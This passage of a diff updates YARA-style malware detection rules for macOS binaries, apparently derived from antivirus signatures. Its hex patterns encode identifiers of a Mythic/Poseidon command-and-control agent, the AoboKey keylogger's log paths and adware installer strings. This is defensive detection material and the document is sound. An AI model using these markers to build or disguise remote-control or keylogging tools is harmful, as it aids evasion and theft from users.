1)*16675+(#a_63_1 & 1)*30063+(#a_79_2 & 1)*27437+(#a_3a_3 & 1)*17744) >=4 } -rule _InfrastructureShared_21189{ +rule _InfrastructureShared_22474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -279598,7 +296068,7 @@ rule _InfrastructureShared_21189{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*16896+(#a_66_2 & 1)*24941) >=5 } -rule _InfrastructureShared_21190{ +rule _InfrastructureShared_22475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -279611,7 +296081,7 @@ rule _InfrastructureShared_21190{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29285+(#a_39_2 & 1)*22016+(#a_72_3 & 1)*28019) >=6 } -rule _InfrastructureShared_21191{ +rule _InfrastructureShared_22476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -279625,7 +296095,7 @@ rule _InfrastructureShared_21191{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28265+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=3 } -rule _InfrastructureShared_21192{ +rule _InfrastructureShared_22477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279638,7 +296108,7 @@ rule _InfrastructureShared_21192{ ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*17408+(#a_49_2 & 1)*25441+(#a_23_3 & 1)*4) >=4 } -rule _InfrastructureShared_21193{ +rule _InfrastructureShared_22478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279650,7 +296120,7 @@ rule _InfrastructureShared_21193{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29303+(#a_2e_2 & 1)*25959) >=4 } -rule _InfrastructureShared_21194{ +rule _InfrastructureShared_22479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -279662,7 +296132,7 @@ rule _InfrastructureShared_21194{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28024+(#a_63_2 & 1)*17010) >=5 } -rule _InfrastructureShared_21195{ +rule _InfrastructureShared_22480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -279675,7 +296145,7 @@ rule _InfrastructureShared_21195{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*24898+(#a_64_2 & 1)*16686+(#a_54_3 & 1)*25971) >=6 } -rule _InfrastructureShared_21196{ +rule _InfrastructureShared_22481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 07 00 21 " @@ -279691,7 +296161,7 @@ rule _InfrastructureShared_21196{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29441+(#a_00_2 & 1)*2+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*0) >=6 } -rule _InfrastructureShared_21197{ +rule _InfrastructureShared_22482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -279703,7 +296173,7 @@ rule _InfrastructureShared_21197{ ((#a_46_0 & 1)*16675+(#a_72_2 & 1)*29440+(#a_2e_3 & 1)*28009) >=5 } -rule _InfrastructureShared_21198{ +rule _InfrastructureShared_22483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -279716,7 +296186,7 @@ rule _InfrastructureShared_21198{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*10+(#a_45_2 & 1)*17996+(#a_70_3 & 1)*26670) >=2 } -rule _InfrastructureShared_21199{ +rule _InfrastructureShared_22484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279729,7 +296199,7 @@ rule _InfrastructureShared_21199{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30073+(#a_20_2 & 1)*29551+(#a_41_3 & 1)*8448) >=4 } -rule _InfrastructureShared_21200{ +rule _InfrastructureShared_22485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279742,7 +296212,7 @@ rule _InfrastructureShared_21200{ ((#a_46_0 & 1)*16675+(#a_3e_1 & 1)*29811+(#a_61_2 & 1)*29550+(#a_6c_3 & 1)*25972) >=4 } -rule _InfrastructureShared_21201{ +rule _InfrastructureShared_22486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279755,7 +296225,7 @@ rule _InfrastructureShared_21201{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*11823+(#a_53_2 & 1)*25441+(#a_53_3 & 1)*18527) >=4 } -rule _InfrastructureShared_21202{ +rule _InfrastructureShared_22487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -279769,7 +296239,7 @@ rule _InfrastructureShared_21202{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*21599+(#a_70_2 & 1)*26707+(#a_33_3 & 1)*13633+(#a_00_4 & 1)*29816) >=4 } -rule _InfrastructureShared_21203{ +rule _InfrastructureShared_22488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -279783,7 +296253,7 @@ rule _InfrastructureShared_21203{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25600+(#a_54_2 & 1)*8516+(#a_00_3 & 1)*29810+(#a_61_4 & 1)*25088) >=4 } -rule _InfrastructureShared_21204{ +rule _InfrastructureShared_22489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -279797,7 +296267,7 @@ rule _InfrastructureShared_21204{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25600+(#a_2f_2 & 1)*29299+(#a_2e_3 & 1)*30576+(#a_69_4 & 1)*28528) >=5 } -rule _InfrastructureShared_21205{ +rule _InfrastructureShared_22490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -279810,7 +296280,7 @@ rule _InfrastructureShared_21205{ ((#a_4c_0 & 1)*21539+(#a_6d_1 & 1)*7424+(#a_61_2 & 1)*26465+(#a_6c_4 & 1)*24902) >=5 } -rule _InfrastructureShared_21206{ +rule _InfrastructureShared_22491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -279824,7 +296294,7 @@ rule _InfrastructureShared_21206{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26995+(#a_89_2 & 1)*-12663+(#a_79_3 & 1)*24436+(#a_75_4 & 1)*24933) >=3 } -rule _InfrastructureShared_21207{ +rule _InfrastructureShared_22492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279837,7 +296307,7 @@ rule _InfrastructureShared_21207{ ((#a_41_0 & 1)*20515+(#a_6a_1 & 1)*26880+(#a_4d_2 & 1)*29798+(#a_6c_3 & 1)*28784) >=4 } -rule _InfrastructureShared_21208{ +rule _InfrastructureShared_22493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -279851,7 +296321,7 @@ rule _InfrastructureShared_21208{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*20080+(#a_56_2 & 1)*22337+(#a_48_3 & 1)*14664+(#a_75_4 & 1)*28277) >=5 } -rule _InfrastructureShared_21209{ +rule _InfrastructureShared_22494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -279862,7 +296332,7 @@ rule _InfrastructureShared_21209{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*-15105) >=2 } -rule _InfrastructureShared_21210{ +rule _InfrastructureShared_22495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -279874,7 +296344,7 @@ rule _InfrastructureShared_21210{ ((#a_46_0 & 1)*16675+(#a_a3_1 & 1)*19520+(#a_8b_2 & 1)*828) >=3 } -rule _InfrastructureShared_21211{ +rule _InfrastructureShared_22496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279887,7 +296357,7 @@ rule _InfrastructureShared_21211{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25646+(#a_6d_2 & 1)*27950+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_21212{ +rule _InfrastructureShared_22497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -279900,7 +296370,7 @@ rule _InfrastructureShared_21212{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28279+(#a_45_2 & 1)*17999+(#a_4f_3 & 1)*21061) >=5 } -rule _InfrastructureShared_21213{ +rule _InfrastructureShared_22498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -279914,7 +296384,7 @@ rule _InfrastructureShared_21213{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*28271+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_21214{ +rule _InfrastructureShared_22499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -279927,7 +296397,7 @@ rule _InfrastructureShared_21214{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*25975+(#a_58_2 & 1)*29285+(#a_64_3 & 1)*12133) >=5 } -rule _InfrastructureShared_21215{ +rule _InfrastructureShared_22500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279939,7 +296409,7 @@ rule _InfrastructureShared_21215{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*24950+(#a_64_3 & 1)*26624) >=4 } -rule _InfrastructureShared_21216{ +rule _InfrastructureShared_22501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279950,7 +296420,7 @@ rule _InfrastructureShared_21216{ ((#a_46_0 & 1)*16675+(#a_30_2 & 1)*17456) >=4 } -rule _InfrastructureShared_21217{ +rule _InfrastructureShared_22502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279963,7 +296433,7 @@ rule _InfrastructureShared_21217{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28486+(#a_74_2 & 1)*28015+(#a_2e_3 & 1)*28001) >=4 } -rule _InfrastructureShared_21218{ +rule _InfrastructureShared_22503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -279976,7 +296446,7 @@ rule _InfrastructureShared_21218{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29285+(#a_49_2 & 1)*25972+(#a_2d_3 & 1)*27745) >=6 } -rule _InfrastructureShared_21219{ +rule _InfrastructureShared_22504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -279989,7 +296459,7 @@ rule _InfrastructureShared_21219{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11877+(#a_6e_3 & 1)*28783+(#a_69_4 & 1)*28718) >=6 } -rule _InfrastructureShared_21220{ +rule _InfrastructureShared_22505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -280001,7 +296471,7 @@ rule _InfrastructureShared_21220{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31090+(#a_74_2 & 1)*31080) >=3 } -rule _InfrastructureShared_21221{ +rule _InfrastructureShared_22506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280013,7 +296483,7 @@ rule _InfrastructureShared_21221{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*24909+(#a_2e_2 & 1)*25972) >=4 } -rule _InfrastructureShared_21222{ +rule _InfrastructureShared_22507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280026,7 +296496,7 @@ rule _InfrastructureShared_21222{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*25972+(#a_01_2 & 1)*29548+(#a_76_3 & 1)*17459) >=4 } -rule _InfrastructureShared_21223{ +rule _InfrastructureShared_22508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -280039,7 +296509,7 @@ rule _InfrastructureShared_21223{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*11813+(#a_28_2 & 1)*24936+(#a_53_3 & 1)*14930) >=5 } -rule _InfrastructureShared_21224{ +rule _InfrastructureShared_22509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -280052,7 +296522,7 @@ rule _InfrastructureShared_21224{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*16995+(#a_61_2 & 1)*29285+(#a_41_3 & 1)*20041) >=6 } -rule _InfrastructureShared_21225{ +rule _InfrastructureShared_22510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -280061,12 +296531,12 @@ rule _InfrastructureShared_21225{ $a_01_1 = {00 16 00 74 72 61 6e 73 61 63 74 69 6f 6e 73 5f 70 6f 6f 6c 5f 73 69 7a 65 01 00 0a 00 42 6c 6f 63 6b 63 68 61 69 6e 01 00 10 00 47 45 4e 45 53 49 53 5f 43 4f 49 4e 42 41 53 45 00 00 03 00 8d 9c 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 4a 21 78 70 00 02 00 1e 00 6d 61 63 2d 69 6e } //25960 $a_6c_2 = {65 72 2d 76 32 2d 76 32 2f 69 6e 73 74 61 6c 6c 65 72 2f 01 00 19 00 73 65 74 4f 66 66 65 72 73 49 6e 73 74 61 6c 6c 53 63 72 69 70 74 55 72 6c 01 00 0b 00 5f 67 65 74 4f 66 66 65 72 65 64 01 00 20 00 63 6f 6d 2e 6b 75 7a 6e 6d 65 6e 6b 6f 2e 6d 61 63 2d 6f 73 2d 78 2d 69 6e 73 74 61 6c 6c } //29811 $a_9c_4 = {00 05 00 05 00 03 00 21 23 41 4c 46 50 45 52 3a 50 55 41 3a 4d 61 63 4f 53 2f 4d 61 78 4f 66 66 65 72 44 65 61 6c 2e 42 21 4d 54 42 00 02 00 3a 02 48 83 7d f0 90 01 01 0f 83 2a 00 00 00 48 8b 45 f0 48 8b 4d e8 0f be 14 01 81 f2 90 01 04 40 88 d6 40 88 34 01 48 8b 45 f0 48 83 c0 90 01 01 48 89 45 f0 e9 cb ff ff ff 90 00 02 00 1b 00 67 65 74 4f 66 66 65 72 73 46 6f 72 53 69 6c 65 6e 74 49 6e 73 74 61 6c 6c 65 72 01 00 0b } //2 - $a_44_5 = {47 4c 6f 61 64 65 72 00 00 02 00 8d 9c 00 00 05 00 05 00 06 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 4d 79 74 68 69 63 41 67 65 6e 74 2e 58 00 01 00 0b 00 4d 79 74 68 69 63 41 67 65 6e 74 01 00 10 00 70 6f 73 65 69 64 6f } //17152 + $a_44_5 = {47 4c 6f 61 64 65 72 00 00 02 00 8d 9c 00 00 06 00 06 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 00 02 00 0d 00 2f 74 6d 70 2f 61 6f 62 6f 2e 6c 6f 67 02 00 23 00 2f 55 73 65 72 73 2f 53 68 61 72 65 } //17152 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25960+(#a_6c_2 & 1)*29811+(#a_9c_4 & 1)*2+(#a_44_5 & 1)*17152) >=6 } -rule _InfrastructureShared_21226{ +rule _InfrastructureShared_22511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -280078,32 +296548,19 @@ rule _InfrastructureShared_21226{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24948+(#a_48_3 & 1)*14848) >=3 } -rule _InfrastructureShared_21227{ +rule _InfrastructureShared_22512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 03 00 21 " strings : $a_46_0 = {45 52 3a 50 55 41 3a 4d 61 63 4f 53 2f 4d 61 78 4f 66 66 65 72 44 65 61 6c 2e 42 21 4d 54 42 00 02 00 3a 02 48 83 7d f0 90 01 01 0f 83 2a 00 00 00 48 8b 45 f0 48 8b 4d e8 0f be 14 01 81 f2 90 01 04 40 88 d6 40 88 34 01 48 8b 45 } //16675 - $a_c0_1 = {01 01 48 89 45 f0 e9 cb ff ff ff 90 00 02 00 1b 00 67 65 74 4f 66 66 65 72 73 46 6f 72 53 69 6c 65 6e 74 49 6e 73 74 61 6c 6c 65 72 01 00 0b 00 43 52 44 4d 47 4c 6f 61 64 65 72 00 00 02 00 8d 9c 00 00 05 00 05 00 06 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 4d 79 74 68 69 63 41 67 65 6e 74 2e 58 00 01 00 0b 00 4d 79 74 68 69 63 41 67 65 6e 74 01 00 10 00 70 6f 73 65 } //18672 - $a_6e_2 = {50 61 79 6c 6f 61 64 01 00 14 00 68 74 74 70 5f 69 6e 69 74 69 61 6c 5f 63 6f 6e 66 69 67 3d 01 00 0d 00 70 72 6f 78 79 5f 62 79 70 61 73 73 3d 01 00 10 00 53 65 6e 64 46 69 6c 65 54 6f 4d 79 74 68 69 63 01 00 0d 00 73 75 64 6f 5f 70 6f 73 65 69 64 6f 6e 00 00 8d 9c 00 00 06 00 06 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a } //25705 + $a_c0_1 = {01 01 48 89 45 f0 e9 cb ff ff ff 90 00 02 00 1b 00 67 65 74 4f 66 66 65 72 73 46 6f 72 53 69 6c 65 6e 74 49 6e 73 74 61 6c 6c 65 72 01 00 0b 00 43 52 44 4d 47 4c 6f 61 64 65 72 00 00 02 00 8d 9c 00 00 06 00 06 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 00 02 00 0d 00 2f 74 6d 70 2f 61 6f 62 6f 2e 6c 6f 67 02 00 23 00 2f 55 73 65 72 73 2f 53 68 } //18672 + $a_64_2 = {2e 41 69 72 50 6f 72 74 41 63 63 65 73 73 2f 2e 41 6f 62 6f 2f 02 00 29 00 2f 55 73 65 72 73 2f 53 68 61 72 65 64 2f 2e 41 69 72 50 6f 72 74 41 63 63 65 73 73 2f 2e 5f 61 62 2e 6b 6c 2e 64 61 74 61 02 00 0f 00 4c 6f 67 67 65 64 4b 65 79 73 2e 68 74 6d 6c 00 00 8d 9c 00 00 07 00 07 00 05 00 21 23 41 4c } //29281 condition: - ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*18672+(#a_6e_2 & 1)*25705) >=5 + ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*18672+(#a_64_2 & 1)*29281) >=5 } -rule _InfrastructureShared_21228{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 06 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 4d 79 74 68 69 63 41 67 65 6e 74 2e 58 00 01 00 0b 00 4d 79 74 68 69 63 41 67 65 6e 74 01 00 10 00 70 6f 73 65 69 64 6f 6e 2f 50 61 79 6c 6f 61 64 01 00 14 00 68 } //21539 - $a_5f_1 = {6e 69 74 69 61 6c 5f 63 6f 6e 66 69 67 3d 01 00 0d 00 70 72 6f 78 79 5f 62 79 70 61 73 73 3d 01 00 10 00 53 65 6e 64 46 69 6c 65 54 6f 4d 79 74 68 69 63 01 00 0d 00 73 75 64 6f 5f 70 6f 73 65 69 64 6f 6e 00 00 8d 9c 00 00 06 00 06 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 00 02 00 0d 00 } //29812 - $a_70_2 = {61 6f 62 6f 2e 6c 6f 67 02 00 23 00 2f 55 73 65 72 73 2f 53 68 61 72 65 64 2f 2e 41 69 72 50 6f 72 74 41 63 63 65 73 73 2f 2e 41 6f 62 6f 2f 02 00 29 00 2f 55 73 65 72 73 2f 53 68 61 72 65 64 2f 2e 41 69 72 50 6f 72 74 41 63 63 65 73 73 2f 2e 5f 61 62 2e 6b 6c 2e 64 61 74 61 02 00 0f 00 4c 6f 67 67 65 64 4b 65 79 73 2e 68 74 } //29743 - $a_00_5 = {05 00 21 23 41 4c 46 } //7 - condition: - ((#a_4c_0 & 1)*21539+(#a_5f_1 & 1)*29812+(#a_70_2 & 1)*29743+(#a_00_5 & 1)*7) >=5 - -} -rule _InfrastructureShared_21229{ +rule _InfrastructureShared_22513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -280116,7 +296573,7 @@ rule _InfrastructureShared_21229{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*12143+(#a_65_2 & 1)*21807+(#a_2e_3 & 1)*20546) >=6 } -rule _InfrastructureShared_21230{ +rule _InfrastructureShared_22514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 05 00 21 " @@ -280130,7 +296587,7 @@ rule _InfrastructureShared_21230{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*0) >=7 } -rule _InfrastructureShared_21231{ +rule _InfrastructureShared_22515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280143,7 +296600,7 @@ rule _InfrastructureShared_21231{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25704+(#a_00_2 & 1)*1+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_21232{ +rule _InfrastructureShared_22516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -280156,7 +296613,7 @@ rule _InfrastructureShared_21232{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27503+(#a_65_4 & 1)*29301+(#a_43_5 & 1)*16740) >=4 } -rule _InfrastructureShared_21233{ +rule _InfrastructureShared_22517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 06 00 21 " @@ -280171,7 +296628,7 @@ rule _InfrastructureShared_21233{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27510+(#a_00_2 & 1)*65+(#a_7a_3 & 1)*28001+(#a_64_4 & 1)*61+(#a_4a_5 & 1)*29549) >=7 } -rule _InfrastructureShared_21234{ +rule _InfrastructureShared_22518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,08 00 08 00 04 00 21 " @@ -280184,7 +296641,7 @@ rule _InfrastructureShared_21234{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*11552+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=8 } -rule _InfrastructureShared_21235{ +rule _InfrastructureShared_22519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -280196,7 +296653,7 @@ rule _InfrastructureShared_21235{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*14958+(#a_69_2 & 1)*18178) >=3 } -rule _InfrastructureShared_21236{ +rule _InfrastructureShared_22520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280209,7 +296666,7 @@ rule _InfrastructureShared_21236{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*24941+(#a_55_2 & 1)*28517+(#a_6c_3 & 1)*11891) >=4 } -rule _InfrastructureShared_21237{ +rule _InfrastructureShared_22521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -280222,7 +296679,7 @@ rule _InfrastructureShared_21237{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*11877+(#a_6c_2 & 1)*25193+(#a_2e_4 & 1)*28515) >=4 } -rule _InfrastructureShared_21238{ +rule _InfrastructureShared_22522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -280234,7 +296691,7 @@ rule _InfrastructureShared_21238{ ((#a_46_0 & 1)*16675+(#a_46_2 & 1)*14387+(#a_9f_4 & 1)*3) >=5 } -rule _InfrastructureShared_21239{ +rule _InfrastructureShared_22523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280247,7 +296704,7 @@ rule _InfrastructureShared_21239{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28483+(#a_00_2 & 1)*66+(#a_6e_3 & 1)*28515) >=4 } -rule _InfrastructureShared_21240{ +rule _InfrastructureShared_22524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -280261,7 +296718,7 @@ rule _InfrastructureShared_21240{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*19282+(#a_70_2 & 1)*24421+(#a_2f_3 & 1)*29806+(#a_61_4 & 1)*26994) >=6 } -rule _InfrastructureShared_21241{ +rule _InfrastructureShared_22525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -280274,7 +296731,7 @@ rule _InfrastructureShared_21241{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29806+(#a_65_2 & 1)*28524+(#a_66_3 & 1)*26723) >=3 } -rule _InfrastructureShared_21242{ +rule _InfrastructureShared_22526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280286,7 +296743,7 @@ rule _InfrastructureShared_21242{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*27745+(#a_2e_2 & 1)*25959) >=4 } -rule _InfrastructureShared_21243{ +rule _InfrastructureShared_22527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -280298,7 +296755,7 @@ rule _InfrastructureShared_21243{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*29230+(#a_2e_2 & 1)*25458) >=5 } -rule _InfrastructureShared_21244{ +rule _InfrastructureShared_22528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -280312,7 +296769,7 @@ rule _InfrastructureShared_21244{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28233+(#a_4d_2 & 1)*19502+(#a_6f_3 & 1)*27+(#a_6f_4 & 1)*21562) >=5 } -rule _InfrastructureShared_21245{ +rule _InfrastructureShared_22529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -280327,7 +296784,7 @@ rule _InfrastructureShared_21245{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*31053+(#a_00_2 & 1)*-29440+(#a_00_3 & 1)*-29440+(#a_00_4 & 1)*-29440+(#a_00_5 & 1)*-29440) >=11 } -rule _InfrastructureShared_21246{ +rule _InfrastructureShared_22530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -280338,7 +296795,7 @@ rule _InfrastructureShared_21246{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*17546) >=2 } -rule _InfrastructureShared_21247{ +rule _InfrastructureShared_22531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -280350,7 +296807,7 @@ rule _InfrastructureShared_21247{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*26991+(#a_54_2 & 1)*42) >=3 } -rule _InfrastructureShared_21248{ +rule _InfrastructureShared_22532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -280363,7 +296820,7 @@ rule _InfrastructureShared_21248{ ((#a_46_0 & 